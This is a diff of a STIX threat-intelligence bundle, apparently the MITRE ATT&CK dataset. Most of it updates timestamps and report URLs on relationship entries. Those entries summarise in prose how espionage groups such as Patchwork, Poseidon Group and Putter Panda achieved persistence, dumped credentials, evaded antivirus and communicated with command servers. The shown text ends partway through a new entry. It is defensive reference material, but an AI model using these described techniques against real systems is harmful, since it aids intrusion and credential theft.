             "description": "Patchwork used PowerSploit to download and run a reverse shell.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30039,7 +36092,7 @@
             "id": "relationship--3f954be4-205c-4cec-92f9-36715e204a49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork added the path of its second-stage malware to the startup folder to achieve persistence.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30060,7 +36113,7 @@
             "id": "relationship--2816f512-1a04-4cf8-94e9-36720b949c76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork attempted to use RDP to move laterally.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30081,7 +36134,7 @@
             "id": "relationship--21caad94-1568-4e40-8e38-c0f7e854aede",
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             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork used Base64 to encode C2 traffic.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30102,7 +36155,7 @@
             "id": "relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork collected the victim computer name, OS version, and architecture type and sent the information to its C2 server .",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30123,7 +36176,7 @@
             "id": "relationship--8bb44b86-379d-49ba-9b28-2451e69db30d",
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             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork collected the victim username and whether it was running as admin, then sent the information to its C2 server.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30144,7 +36197,7 @@
             "id": "relationship--1df7df54-c4c1-49f0-a0c3-11102db44f2c",
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             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork dumped the login data database from <code>\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30165,7 +36218,7 @@
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             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork scanned the \u201cProgram Files\u201d directories for a directory with the string \u201cTotal Security\u201d (the installation path of the \u201c360 Total Security\u201d antivirus tool).",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30186,7 +36239,7 @@
             "id": "relationship--42d4ae64-75da-4dfd-b23f-d270252115ee",
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             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as \u201cNet Monitor.\"",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30207,7 +36260,7 @@
             "id": "relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868",
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             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload has searched all fixed drives on the victim for files matching a specified list of extensions.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30228,7 +36281,7 @@
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             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30249,7 +36302,7 @@
             "id": "relationship--891a97f1-d3e2-45ff-a079-43dcad21a175",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload was packed with UPX.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30261,7 +36314,7 @@
                 {
                     "source_name": "Securelist Dropping Elephant",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
-                    "url": "https://securelist.com/blog/research/75328/the-dropping-elephant-actor/"
+                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/"
                 }
             ]
         },
@@ -30270,7 +36323,7 @@
             "id": "relationship--da734f6c-de0d-44f1-9521-6607b800ad43",
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             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload downloads additional malware from the C2 server.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30282,7 +36335,7 @@
                 {
                     "source_name": "Securelist Dropping Elephant",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
-                    "url": "https://securelist.com/blog/research/75328/the-dropping-elephant-actor/"
+                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/"
                 }
             ]
         },
@@ -30291,7 +36344,7 @@
             "id": "relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -30303,7 +36356,7 @@
                 {
                     "source_name": "Securelist Dropping Elephant",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
-                    "url": "https://securelist.com/blog/research/75328/the-dropping-elephant-actor/"
+                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/"
                 }
             ]
         },
@@ -30312,7 +36365,7 @@
             "id": "relationship--93b12e1a-7f21-4fa0-9b2a-c96c7c270625",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PittyTiger attempts to obtain legitimate credentials during operations.",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
@@ -30333,7 +36386,7 @@
             "id": "relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
@@ -30346,7 +36399,7 @@
             "id": "relationship--cc831c63-94af-4937-b8e6-668591ec7d04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
@@ -30359,7 +36412,7 @@
             "id": "relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
@@ -30372,7 +36425,7 @@
             "id": "relationship--3f780c76-b5d5-43f9-b4f2-048106f00894",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
@@ -30385,7 +36438,7 @@
             "id": "relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
@@ -30398,7 +36451,7 @@
             "id": "relationship--df69c29c-01c4-4541-988e-8a5765439d56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group tools attempt to spoof anti-virus processes as a means of self-defense.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -30410,7 +36463,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -30419,7 +36472,7 @@
             "id": "relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After compromising a victim, Poseidon Group discovers all running services.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -30431,7 +36484,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -30440,7 +36493,7 @@
             "id": "relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After compromising a victim, Poseidon Group lists all running processes.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -30452,7 +36505,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -30461,7 +36514,7 @@
             "id": "relationship--a602be33-6ed6-4f73-b7f6-10b47581707a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group searches for administrator accounts on both the local victim machine and the network.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -30473,7 +36526,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -30482,7 +36535,7 @@
             "id": "relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Poseidon Group's Information Gathering Tool (IGT) includes PowerShell components.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -30494,7 +36547,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -30503,7 +36556,7 @@
             "id": "relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group obtains and saves information about victim network interfaces and addresses.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -30515,7 +36568,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -30524,7 +36577,7 @@
             "id": "relationship--35aac341-5371-42e8-ad93-3ab94a11b51a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -30536,7 +36589,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -30545,7 +36598,7 @@
             "id": "relationship--c952f284-e529-481f-97fb-7a6e14c25ccf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Droppers used by Putter Panda use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 \u2013 0xAF to obfuscate payloads.",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
@@ -30566,7 +36619,7 @@
             "id": "relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A dropper used by Putter Panda installs itself into the ASEP Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> with a value named McUpdate.",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
@@ -30587,7 +36640,7 @@
             "id": "relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An executable dropped onto victims by Putter Panda aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
@@ -30608,7 +36661,7 @@
             "id": "relationship--94211067-148f-4196-a216-c1bb1e5cfc70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Putter Panda attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
@@ -30629,7 +36682,7 @@
             "id": "relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
@@ -30642,7 +36695,7 @@
             "id": "relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
@@ -30655,7 +36708,7 @@
             "id": "relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
@@ -30668,7 +36721,7 @@
             "id": "relationship--47835d17-73e1-427f-85b0-b55b610fa9ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
@@ -30681,7 +36734,7 @@
             "id": "relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.081Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names.",
             "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
@@ -30702,7 +36755,7 @@
             "id": "relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.081Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
             "target_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -30715,7 +36768,7 @@
             "id": "relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
             "target_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -30728,7 +36781,7 @@
             "id": "relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
@@ -30741,7 +36794,7 @@
             "id": "relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
@@ -30754,7 +36807,7 @@
             "id": "relationship--79934567-99e6-4184-8b04-717a1b401006",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
@@ -30767,7 +36820,7 @@
             "id": "relationship--9155d072-d94b-4a63-b089-26781aff5275",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -30775,12 +36828,227 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--9f618c0f-79b8-4990-a02b-6e3187b14033",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has used command line during its intrusions.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "extracted Word documents from a file server on a victim network.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "extracted documents and bundled them into a RAR archive.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
